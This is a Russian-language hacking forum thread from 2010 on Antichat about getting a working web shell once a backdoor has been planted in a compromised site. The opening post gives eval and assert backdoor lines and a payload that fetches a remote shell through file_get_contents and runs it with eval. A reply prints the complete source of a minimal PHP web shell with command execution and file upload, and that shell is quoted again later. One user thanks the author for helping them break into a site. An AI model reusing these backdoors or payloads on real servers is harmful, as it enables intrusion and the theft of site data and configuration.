ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Easy shell
  #1  
Старый 30.03.2010, 20:54
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию Easy shell

Не то чтобы статья, но многим, думаю, будет полезно. Итак, мы проникли в админку, мы в итоге смогли хоть куда-то впихнуть такой код, примеру:

if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e']));

или просто:

assert(stripslashes($_REQUEST[lala]));

stripslashes в данном случае исключительно для обхода magic_quotes=ON

Многие чудики вставляют system($_GET['cmd']) и прочие безобразия, но это все лишнее, на самом деле все проще. Итак, вы вставили данный код куда-то (в faq.php, или у вас уже есть просто типо такой бекдор где-то в недрах скриптов сервера).

Т.е. в итоге вы к примеру добились работоспособности вот такого линка:

http://localhost/user.php?e=phpinfo();

И после этого у многих начинающих ступор. Немедленно следующий вопрос - а что же делать дальше?

А давайте повнимательнее взглянем на этот phpinfo, что нам вывело, основные два пункта, что нас будут интересовать в данной ситуации:

allow_url_fopen
allow_url_include

allow_url_include - да, жесть конечно, но, как правило, off.

Остается allow_url_fopen, а он, как правило = ON. Как же мы может использовать данную возможность, безрассудно оставленную админом, чтобы не париться особо (не искать папки, доступные на запись и тому подобную ерунду выяснять да и вообще не заливать шелл как таковой, но лазить по серваку как-будто шелл уже залит). Да очень просто. Если allow_url_fopen = ON и у вас есть код, выводящий хотя бы PHPINFO(); то считайте вы уже прочитали все конфиги, слили все что вам надо и т.д. (не путайте с "порутать", только то, что можно прочитать)

Берем последний шелл от глубокомноюуважаемого oRb в этой теме:

https://forum.antichat.net/thread103155.html - первый пост

удаляем первую строчку:

<?php # Web Shell by oRb
+
удаляем последнюю ?>
+
можно удалить пароль, шелл ведь не заливаем, просто юзаем, не оставляя

сохраняем на любой хост как bla_bla.txt (тот же narod.ru вполне подойдет) или в виде картинки на файлообменнике, предоставляющем прямые ссылки на скачку контента и делаем такой запрос:

http://localhost/user.php?a=eval(file_get_contents('http://site.ru/bla_bla.txt'));

Всё. У вас полноценный шелл без физического его залития на сервак со всеми обычными возможностями шелла. Спасибо за внимание

PS: tested on WSO2.4 (wso2_pack.php)
 
Ответить с цитированием

  #2  
Старый 30.03.2010, 21:21
shellz[21h]
Постоянный
Регистрация: 20.12.2007
Сообщений: 334
Провел на форуме:
1934122

Репутация: 118
Отправить сообщение для shellz[21h] с помощью ICQ
По умолчанию

Это метод больше наследит в логах... лучше уж залить файл на сервер.
Либо использовать шелл через system($_POST['a']) + плагин firefox ( Для отправки пост запросов )
 
Ответить с цитированием

  #3  
Старый 30.03.2010, 21:26
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Речь, к примеру, идет о ситуации, что вы не знаете куда заливать, или, "куда заливать" просто нет, физически. Или не представляется возможным найти обычными средствами. (таже system легко может быть в списках исключения и тому подобные ситуации). А тут вы просто лазиете и смотрите все сами, сразу, как будто шелл уже залит - и права и возможности и владельцев в нормальном удобочитаемом виде.

В логах так или иначе что-то останется, просто при allow_url_fopen=ON шелл заливается за считанные секунды, ну, или, по крайней мере узнается вся структура сервера + читаются все возможные конфиги без особых напрягов.

PS: Т.е. даже если все под рутом и нет ниодной папки на запись - вы все все равно сможете полазить и посмотреть все что нужно, это раз, выполнить php-код любой сложности, не зависящий от длины адресной строки, это два. Закачать прямо с компа полноценный шелл (сплойт) в любую папку, доступную на запись (не из веба) и выполнить его (например, чтобы порутать сервер и залить шелл уже куда угодно и по всем понятиям) - это три. Ну и, наконец, если вообще все под рутом, нет ни одной папки на запись на всем серваке и серв не рутается - вы можете просто слить весь сайт. К себе на комп. Это четыре.

Статья написана именно после того, как сегодня в личке один чел попросил залить шелл, и там как раз вообще все под рутом и нет папок на запись. Однако конфиги и структура таки все поимелись.

Последний раз редактировалось Pashkela; 30.03.2010 в 21:44..
 
Ответить с цитированием

  #4  
Старый 30.03.2010, 21:48
BlackSun
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию

Пашко, опять ты всякую фигню народу советуешь =\

PHP код:
<font face="monospace,terminal" size="-1"><pre><?php ob_end_clean(); ob_start(); $disablefuncs = array(); function myshellexec($cmd) { global $disablefuncs; if (empty($cmd)) { return ''; } $result ''; if (is_callable('exec') and !in_array('exec'$disablefuncs)) { exec($cmd$result); $result join("\n"$result); } elseif (($result = `$cmd`) !== FALSE) { } elseif (is_callable('system') and !in_array('system')) { ob_start(); system($cmd); $result ob_get_contents(); ob_clean(); } elseif (is_callable('passthru') and !in_array('passthru'$disablefuncs)) { ob_start(); passthru($cmd); $result ob_get_contents(); ob_clean(); } elseif (is_resource($fp popen($cmd,"r"))) { while(!feof($fp)) { $result .= fread($fp1024); } pclose($fp); } else { $result 'Shit. Can\'t execute command - paranoidal admin[s] has been disabled many functions!'; } return $result; } if (is_callable('ini_get')) { $disablefuncs ini_get("disable_functions"); if (!empty($disablefuncs)) { $disablefuncs str_replace(' '''$disablefuncs); $disablefuncs explode(','$disablefuncs); } else { $disablefuncs = array(); } } if (isset($_POST['execl'])) { echo $_POST['execl']. '<br>'; echo myshellexec($_POST['execl']); } if (isset($_POST['pcntl_exec'])) { pcntl_exec($_POST['pcntl_exec'], $_POST['pcntl_exec_param']); } if (isset($_FILES['upfile'])) { if (is_uploaded_file($_FILES['upfile']['tmp_name'])) { move_uploaded_file($_FILES['upfile']['tmp_name'], $_POST['fname']); echo '<b>Uploaded!</b>'; } } ?><br></pre><form method="POST" action="<?php echo '?'$_SERVER['QUERY_STRING']; ?>">/bin/bash: <input type="text" name="execl" id="bash" style="width:80%"><input type="submit"></form><br><form method="POST" action="<?php echo '?'$_SERVER['QUERY_STRING']; ?>">pcntl_exec: <input type="text" name="pcntl_exec" style="width:200px"><input type="text" name="pcntl_exec_param" style="width:70%"><input type="submit"></form><form method="POST" action="<?php echo '?'$_SERVER['QUERY_STRING']; ?>" enctype="multipart/form-data">upload: <input type="text" name="fname" style="width:200px" value="profilepic605_1.png"><input type="file" name="upfile" style="width:70%"><input type="submit"></form><script>document.getElementById("bash").focus();</script></font><?php $text str_replace("\n"'<br />'ob_get_contents()); ob_end_clean(); echo $text?>
C.P. Mirror: http://pastebin.com/VHprKTvy

Вот. Это самый минимум для нормального минимального шелла. Причем спокойно влезает даже в GET запрос.
 
Ответить с цитированием

  #5  
Старый 30.03.2010, 21:51
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

2 BlackSun:

)) не, ну понятно, вариаций мильон, просто чтобы народ знал, что если есть phpinfo(); - то есть уже всё, чтобы не сомневались, и что allow_url_fopen=ON фактически == тот же удаленный инклуд.

PS: Ну и плюс удобство какое-никакое, в виде эргономичного тотал-командера)

И потом зачем изобретать колесо, если уже есть WSO с бекконектом, который будет работать, как не странно

Т.е. просто вдумайтесь - именно полноценный шелл со всем обычными возможностями полноценного шелла

GUI вариант короче)

Последний раз редактировалось Pashkela; 30.03.2010 в 21:58..
 
Ответить с цитированием

  #6  
Старый 30.03.2010, 22:37
Dimi4
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
Провел на форуме:
7617458

Репутация: 3965


Отправить сообщение для Dimi4 с помощью ICQ
По умолчанию

Цитата:
и у вас есть код, выводящий хотя бы PHPINFO(); то считайте вы уже прочитали все конфиги, слили все что вам надо и т.д
Блин а то я уже обрадовался.. Думал ты придумал как слить все конфиги имея только пхпинфо
Не надо заблуждать народ, а то из твоего поста выходит что имея на серваку пхпинфо мы можем магическим способом превратить его в шелл.
 
Ответить с цитированием

  #7  
Старый 30.03.2010, 23:51
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Pashkela, имхо тема не раскрыта. Можно было бы рассмотреть методы при разных конфигах, как вариант и т.п.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.
 
Ответить с цитированием

  #8  
Старый 16.04.2010, 20:44
v1d0qz
Познающий
Регистрация: 21.07.2007
Сообщений: 68
Провел на форуме:
947074

Репутация: 257
По умолчанию

Цитата:
Сообщение от BlackSun  
Пашко, опять ты всякую фигню народу советуешь =\

PHP код:
<font face="monospace,terminal" size="-1"><pre><?php ob_end_clean(); ob_start(); $disablefuncs = array(); function myshellexec($cmd) { global $disablefuncs; if (empty($cmd)) { return ''; } $result ''; if (is_callable('exec') and !in_array('exec'$disablefuncs)) { exec($cmd$result); $result join("\n"$result); } elseif (($result = `$cmd`) !== FALSE) { } elseif (is_callable('system') and !in_array('system')) { ob_start(); system($cmd); $result ob_get_contents(); ob_clean(); } elseif (is_callable('passthru') and !in_array('passthru'$disablefuncs)) { ob_start(); passthru($cmd); $result ob_get_contents(); ob_clean(); } elseif (is_resource($fp popen($cmd,"r"))) { while(!feof($fp)) { $result .= fread($fp1024); } pclose($fp); } else { $result 'Shit. Can\'t execute command - paranoidal admin[s] has been disabled many functions!'; } return $result; } if (is_callable('ini_get')) { $disablefuncs ini_get("disable_functions"); if (!empty($disablefuncs)) { $disablefuncs str_replace(' '''$disablefuncs); $disablefuncs explode(','$disablefuncs); } else { $disablefuncs = array(); } } if (isset($_POST['execl'])) { echo $_POST['execl']. '<br>'; echo myshellexec($_POST['execl']); } if (isset($_POST['pcntl_exec'])) { pcntl_exec($_POST['pcntl_exec'], $_POST['pcntl_exec_param']); } if (isset($_FILES['upfile'])) { if (is_uploaded_file($_FILES['upfile']['tmp_name'])) { move_uploaded_file($_FILES['upfile']['tmp_name'], $_POST['fname']); echo '<b>Uploaded!</b>'; } } ?><br></pre><form method="POST" action="<?php echo '?'$_SERVER['QUERY_STRING']; ?>">/bin/bash: <input type="text" name="execl" id="bash" style="width:80%"><input type="submit"></form><br><form method="POST" action="<?php echo '?'$_SERVER['QUERY_STRING']; ?>">pcntl_exec: <input type="text" name="pcntl_exec" style="width:200px"><input type="text" name="pcntl_exec_param" style="width:70%"><input type="submit"></form><form method="POST" action="<?php echo '?'$_SERVER['QUERY_STRING']; ?>" enctype="multipart/form-data">upload: <input type="text" name="fname" style="width:200px" value="profilepic605_1.png"><input type="file" name="upfile" style="width:70%"><input type="submit"></form><script>document.getElementById("bash").focus();</script></font><?php $text str_replace("\n"'<br />'ob_get_contents()); ob_end_clean(); echo $text?>
C.P. Mirror: http://pastebin.com/VHprKTvy

Вот. Это самый минимум для нормального минимального шелла. Причем спокойно влезает даже в GET запрос.
Имхо самый лучший минимальный шелл, тот, который физически нельзя найти через find. Я когда-то думал, что я автор, но оказывается о нём уже писали на ачате.
 
Ответить с цитированием

  #9  
Старый 16.04.2010, 20:54
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Да-да, абсолютно согласен, просто "статью" написал после примерно 20-40 мессаг в осику, типо "а что делать дальше, если работает ?cmd=phpinfo(); - КАК ЗАЛИТЬ ШЕЛЛ?!?!", ибо достали. Никоим образом этот топик не претендует ни на что, просто чтобы вопросов меньше было. С кодом от BlackSun еще не каждый (кто задает такие вопросы) разберется.
 
Ответить с цитированием

  #10  
Старый 18.04.2010, 15:37
[ac1D]
Banned
Регистрация: 06.12.2009
Сообщений: 47
Провел на форуме:
191390

Репутация: 74
По умолчанию

Мне помогло, была у меня highlight и с помощью этой статьи раскрутил, спасибо!
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
webshell scripts -) blackybr PHP, PERL, MySQL, JavaScript 20 28.03.2010 02:17



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ